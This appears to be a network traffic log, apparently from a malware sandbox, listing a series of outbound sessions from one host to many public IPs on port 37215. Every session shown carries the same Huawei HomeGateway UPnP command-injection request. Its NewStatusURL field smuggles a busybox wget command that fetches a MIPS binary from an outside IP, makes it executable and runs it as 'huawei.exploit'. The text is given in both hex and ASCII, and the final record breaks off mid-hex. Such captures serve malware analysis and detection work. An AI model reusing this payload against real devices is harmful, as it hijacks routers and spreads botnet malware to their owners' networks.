Jun 10, 2024 15:38:02.716092110 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
745	192.168.2.13	37456	156.79.80.1	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.717242956 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
746	192.168.2.13	51422	197.19.66.134	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.718331099 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
747	192.168.2.13	37502	41.180.76.156	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.719824076 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
748	192.168.2.13	38284	156.46.144.10	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.721224070 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
749	192.168.2.13	52368	41.222.92.212	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.722392082 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
750	192.168.2.13	47500	197.47.184.132	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.723331928 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
751	192.168.2.13	52760	197.28.22.183	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.724796057 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
752	192.168.2.13	50012	197.50.7.2	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.725895882 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
753	192.168.2.13	34468	156.185.253.184	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.726932049 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
754	192.168.2.13	44684	41.17.67.8	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.727943897 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 